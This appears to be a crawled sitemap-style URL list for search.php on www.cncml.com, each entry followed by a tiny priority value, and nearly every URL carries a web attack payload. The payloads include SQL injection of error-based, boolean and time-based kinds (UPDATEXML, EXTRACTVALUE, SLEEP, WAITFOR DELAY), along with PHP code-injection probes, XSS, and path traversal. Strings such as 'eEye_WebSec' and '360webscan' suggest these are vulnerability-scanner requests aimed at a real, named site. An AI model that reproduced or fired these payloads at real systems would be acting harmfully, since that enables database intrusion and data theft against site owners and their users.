http://www.cncml.com/search.php?mod=portal'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=portal'%20OR%20'M5'='M5'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/search.php?mod=portal'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?mod=portal'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/search.php?mod=portal'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/search.php?mod=portal'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?mod=portal'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?mod=portal'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(21=17)%20THEN%200x706F7274616C%20ELSE%200x28%20END))%20AND%20'NG'='NG 0.0001 http://www.cncml.com/search.php?mod=portal'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(41=41)%20THEN%200x706F7274616C%20ELSE%200x28%20END))%20AND%20'Wx'='Wx 0.0001 http://www.cncml.com/search.php?mod=portal'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(49=49)%20THEN%20'portal'%20ELSE%200x28%20END))%20AND%20'El'='El 0.0001 http://www.cncml.com/search.php?mod=portal'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(54=78)%20THEN%20'portal'%20ELSE%200x28%20END))%20AND%20'5T'='5T 0.0001 http://www.cncml.com/search.php?mod=portal'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?mod=portal'%22 0.0003 http://www.cncml.com/search.php?mod=portal'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/search.php?mod=portal'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/search.php?mod=portal'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/search.php?mod=portal'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/search.php?mod=portal')%20AND%20('T1'%20LIKE%20'T1 0.0001 http://www.cncml.com/search.php?mod=portal')%20AND%20('c2'%20LIKE%20'HP 0.0001 http://www.cncml.com/search.php?mod=portal')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?mod=portal')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/search.php?mod=portal')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=portal')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=portal')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=portal')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=portal')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=portal')%20AND%2021=11%20AND%20('3n'='3n 0.0001 http://www.cncml.com/search.php?mod=portal')%20AND%2022=33%20AND%20('f3'='f3 0.0001 http://www.cncml.com/search.php?mod=portal')%20AND%2057=57%20AND%20('aT'='aT 0.0001 http://www.cncml.com/search.php?mod=portal')%20AND%2071=71%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=portal')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=portal')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=portal')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=portal')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?mod=portal')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/search.php?mod=portal')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=portal')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/search.php?mod=portal')%20OR%2017=17%20AND%20('zy'='zy 0.0001 http://www.cncml.com/search.php?mod=portal')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(37=54)%20THEN%200x706F7274616C%20ELSE%200x28%20END))%20AND%20('cE'='cE 0.0001 http://www.cncml.com/search.php?mod=portal')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(65=65)%20THEN%200x706F7274616C%20ELSE%200x28%20END))%20AND%20('JF'='JF 0.0001 http://www.cncml.com/search.php?mod=portal')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(71=71)%20THEN%20'portal'%20ELSE%200x28%20END))%20AND%20('jH'='jH 0.0001 http://www.cncml.com/search.php?mod=portal')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(71=76)%20THEN%20'portal'%20ELSE%200x28%20END))%20AND%20('zz'='zz 0.0001 http://www.cncml.com/search.php?mod=portal')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=portal'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=portal'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=portal',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=portal'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=portal';%20IF(17=17)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/search.php?mod=portal';%20IF(58=69)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/search.php?mod=portal';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?mod=portal) 0.0001 http://www.cncml.com/search.php?mod=portal)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?mod=portal)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?mod=portal)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=portal)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=portal)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=portal)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=portal)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=portal)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=portal)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=portal)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=portal)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?mod=portal)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/search.php?mod=portal)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=portal)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/search.php?mod=portal)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(51=24)%20THEN%200x706F7274616C%20ELSE%200x28%20END))%20AND%20(51=51 0.0001 http://www.cncml.com/search.php?mod=portal)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(96=96)%20THEN%200x706F7274616C%20ELSE%200x28%20END))%20AND%20(21=21 0.0001 http://www.cncml.com/search.php?mod=portal)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=portal),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=portal);%20IF(28=28)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/search.php?mod=portal);%20IF(74=81)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/search.php?mod=portal,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=portal,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=portal,(SELECT%20(CASE%20WHEN%20(22=51)%20THEN%200x706F7274616C%20ELSE%2022*(SELECT%2022%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=portal,(SELECT%20(CASE%20WHEN%20(32=32)%20THEN%200x706F7274616C%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=portal,(SELECT%20(CASE%20WHEN%20(45=11)%20THEN%200x706F7274616C%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=portal,(SELECT%20(CASE%20WHEN%20(46=46)%20THEN%200x706F7274616C%20ELSE%2046*(SELECT%2046%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=portal,(SELECT%20(CASE%20WHEN%20(61=91)%20THEN%200x706F7274616C%20ELSE%2061*(SELECT%2061%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/search.php?mod=portal,(SELECT%20(CASE%20WHEN%20(68=68)%20THEN%200x706F7274616C%20ELSE%2068*(SELECT%2068%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/search.php?mod=portal,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=portal,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/search.php?mod=portal,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=portal,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?mod=portal/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/search.php?mod=portal1 0.0001 http://www.cncml.com/search.php?mod=portal6633x3X6 0.0001 http://www.cncml.com/search.php?mod=portalAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?mod=portalJyI%3D 0.0001 http://www.cncml.com/search.php?mod=portala' 0.0001 http://www.cncml.com/search.php?mod=portalalert(42873) 0.0001 http://www.cncml.com/search.php?mod=portale360 0.0001 http://www.cncml.com/search.php?mod=response.write(9412458*9542755) 0.0001 http://www.cncml.com/search.php?mod=set%7Cset&set 0.0001 http://www.cncml.com/search.php?part=course&keywords=%27/**/AND/**/(SELECT/**/1/**/FROM(SELECT/**/COUNT(*),CONCAT(version(),(0x7C),md5(1122),(0x7C),FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.CHARACTER_SETS/**/GROUP/**/BY/**/x)a)/**/and/**/%27a%27=%27a 0.0001 http://www.cncml.com/search.php?query=a';?%3E%3C?exit(sha1('360webscan'));?%3E&modelid=1%20or%202=2 0.0001 http://www.cncml.com/search.php?redirect:%25%7B23.5*2.35%7D 0.0001 http://www.cncml.com/search.php?searchsubmit=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/search.php?searchsubmit=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/search.php?searchsubmit=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/search.php?searchsubmit=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/search.php?searchsubmit=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/search.php?searchsubmit=%3Cdir 0.0001 http://www.cncml.com/search.php?searchsubmit='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/search.php?searchsubmit='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/search.php?searchsubmit=');print(md5(1122));// 0.0001 http://www.cncml.com/search.php?searchsubmit=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/search.php?searchsubmit=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/search.php?searchsubmit=(SELECT%20(CASE%20WHEN%20(12=12)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?searchsubmit=(SELECT%20(CASE%20WHEN%20(13=13)%20THEN%200x796573%20ELSE%2013*(SELECT%2013%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?searchsubmit=(SELECT%20(CASE%20WHEN%20(29=31)%20THEN%200x796573%20ELSE%2029*(SELECT%2029%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?searchsubmit=(SELECT%20(CASE%20WHEN%20(35=35)%20THEN%200x796573%20ELSE%2035*(SELECT%2035%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?searchsubmit=(SELECT%20(CASE%20WHEN%20(43=18)%20THEN%200x796573%20ELSE%2043*(SELECT%2043%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/search.php?searchsubmit=(SELECT%20(CASE%20WHEN%20(48=48)%20THEN%200x796573%20ELSE%2048*(SELECT%2048%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/search.php?searchsubmit=(SELECT%20(CASE%20WHEN%20(71=63)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?searchsubmit=(SELECT%20(CASE%20WHEN%20(73=18)%20THEN%200x796573%20ELSE%2073*(SELECT%2073%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/search.php?searchsubmit=(SELECT%20(CASE%20WHEN%20(92=94)%20THEN%200x796573%20ELSE%2092*(SELECT%2092%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?searchsubmit=(SELECT%20(CASE%20WHEN%20(99=99)%20THEN%200x796573%20ELSE%2099*(SELECT%2099%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/search.php?searchsubmit=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?searchsubmit=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/search.php?searchsubmit=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?searchsubmit=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?searchsubmit=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/search.php?searchsubmit=;print(md5(1122));%23 0.0001 http://www.cncml.com/search.php?searchsubmit=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?searchsubmit=ELT(53=13,0x796573) 0.0001 http://www.cncml.com/search.php?searchsubmit=ELT(64=64,0x796573) 0.0001 http://www.cncml.com/search.php?searchsubmit=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?searchsubmit=MAKE_SET(66=66,0x796573) 0.0001 http://www.cncml.com/search.php?searchsubmit=MAKE_SET(92=31,0x796573) 0.0001 http://www.cncml.com/search.php?searchsubmit=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/search.php?searchsubmit=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/search.php?searchsubmit=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/search.php?searchsubmit=response.write(9412458*9542755) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%00' 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/search.php?searchsubmit=yes%20AND%20SLEEP(5)%20%23 0.0001 